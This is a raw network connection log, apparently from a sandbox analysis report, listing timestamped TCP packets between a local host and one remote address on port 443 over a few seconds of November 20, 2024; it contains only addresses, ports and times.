Nov 20, 2024 13:28:38.945606947 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.945794106 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.945801020 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.946022034 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.946052074 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.946561098 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.946572065 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.035207033 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.035404921 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.035665989 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.037332058 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.037332058 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.037349939 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.037369013 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.038718939 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.038808107 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.038907051 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.039072990 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.039108038 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.045295000 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.045397997 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.045597076 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.045609951 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.045614004 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.045625925 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.045630932 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.046159029 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.046227932 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.048536062 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048549891 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048589945 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.048599005 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048615932 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.048629999 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048635960 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.048687935 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048846960 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.048873901 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.050822973 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.050848007 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.050928116 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.051043034 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.051063061 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.124845982 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.125875950 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.125911951 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.126512051 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.126522064 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.223537922 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.223716974 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.223803043 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.224087954 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.224087954 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.224109888 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.224123955 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.227498055 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.227547884 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.227642059 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.228154898 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.228172064 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.611383915 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.611989975 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.612018108 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.612540960 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.612545967 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.711798906 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.711869955 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.711966991 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.712260962 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.712260962 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.712294102 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.712318897 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.715239048 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.715372086 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.719403028 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.719566107 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.719602108 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.752948999 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.754610062 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.755171061 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.755238056 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.755651951 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.755666971 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.755882025 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.755912066 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.756227970 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.756238937 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.776053905 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.776660919 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.776698112 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.777117014 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.777129889 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.852864027 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.852940083 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.853007078 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.856452942 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.856595039 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.856651068 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.857181072 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.857228994 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.857259989 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.857276917 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.859397888 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.859416008 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.859441042 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.859452009 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.866610050 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.866698027 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.866770029 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.872164965 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.872224092 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.872293949 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.872688055 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.872721910 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.873395920 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.873425961 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.879381895 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.879492044 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.879559040 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.879559040 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.879607916 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.879627943 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.882162094 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.882222891 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.882294893 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.882477999 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.882509947 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.899029016 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.901563883 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.901587009 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:39.902020931 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:39.902026892 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.002693892 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.002785921 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.002914906 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.003082037 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.003123999 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.003143072 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.003151894 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.005995989 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.006057024 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.006143093 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.006273985 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.006297112 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.408436060 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.412362099 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.412420034 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.419418097 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.419437885 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.513309956 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.514419079 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.520737886 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.520817995 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.520919085 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.525470972 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.555238008 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.555275917 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.555324078 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.555351019 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.555607080 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.555943012 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.555948973 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.556037903 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.556051970 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.556207895 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.556217909 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.556332111 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.556366920 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.556394100 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.556408882 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.556585073 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.556591988 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.559839964 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.559873104 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.559943914 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.560177088 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.560189962 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.654995918 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.655081034 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.655148029 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.655405998 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.655425072 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.655436993 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.655441999 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.656011105 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.656086922 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.656135082 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.656372070 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.656402111 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.656423092 CET	49876	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.656430006 CET	443	49876	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.657351017 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.657409906 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.657468081 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.658154011 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.658154964 CET	49875	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.658186913 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.658210039 CET	443	49875	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.659547091 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.659611940 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.659682035 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660068035 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660096884 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.660485029 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660517931 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.660568953 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660681009 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660691977 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.660825014 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.660864115 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.660917044 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.661003113 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.661015987 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.677231073 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.677759886 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.677779913 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.678232908 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.678244114 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.797369957 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.797558069 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.797620058 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.797890902 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.797911882 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.797925949 CET	49877	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.797934055 CET	443	49877	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.801127911 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.801182032 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:40.801248074 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.801428080 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:40.801441908 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.212810993 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.213402987 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.213444948 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.213932991 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.213939905 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.311106920 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.311813116 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.311840057 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.312220097 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.312320948 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.312325954 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.312540054 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.312571049 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.312875986 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.312881947 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.314399004 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.314472914 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.314680099 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.314730883 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.314730883 CET	49878	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.314757109 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.314769983 CET	443	49878	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.317758083 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.317806959 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.317888975 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.318083048 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.318097115 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.326194048 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.326653957 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.326669931 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.327110052 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.327114105 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416003942 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416089058 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416398048 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.416434050 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416443110 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.416443110 CET	49879	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.416462898 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416477919 CET	443	49879	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.416517019 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.417362928 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.417412996 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.417442083 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.417453051 CET	49880	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.417458057 CET	443	49880	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.419593096 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419636965 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419645071 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.419683933 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.419712067 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419744015 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419902086 CET	49885	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419904947 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.419919968 CET	443	49885	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.419926882 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.433180094 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.433233976 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.433326006 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.433434010 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.433451891 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.433470964 CET	49881	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.433476925 CET	443	49881	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.436085939 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.436140060 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.436213017 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.436351061 CET	49886	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.436372995 CET	443	49886	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.482662916 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.483222008 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.483268976 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.483705044 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.483711004 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.596935034 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.597105026 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.597348928 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.597403049 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.597403049 CET	49882	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.597429991 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.597441912 CET	443	49882	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.600912094 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.600967884 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:41.601051092 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.601227045 CET	49887	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:41.601242065 CET	443	49887	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.111068964 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.111624002 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.111663103 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.112103939 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.112112045 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.113929987 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.114310980 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.114322901 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.114752054 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.114757061 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.216516018 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.216592073 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.216656923 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.216896057 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.216922045 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.216968060 CET	49884	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.216975927 CET	443	49884	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.217447996 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.217608929 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.217662096 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.217703104 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.217720032 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.217751026 CET	49883	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:42.217756033 CET	443	49883	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:42.220211983 CET	49888	443	192.168.2.8	13.107.246.45
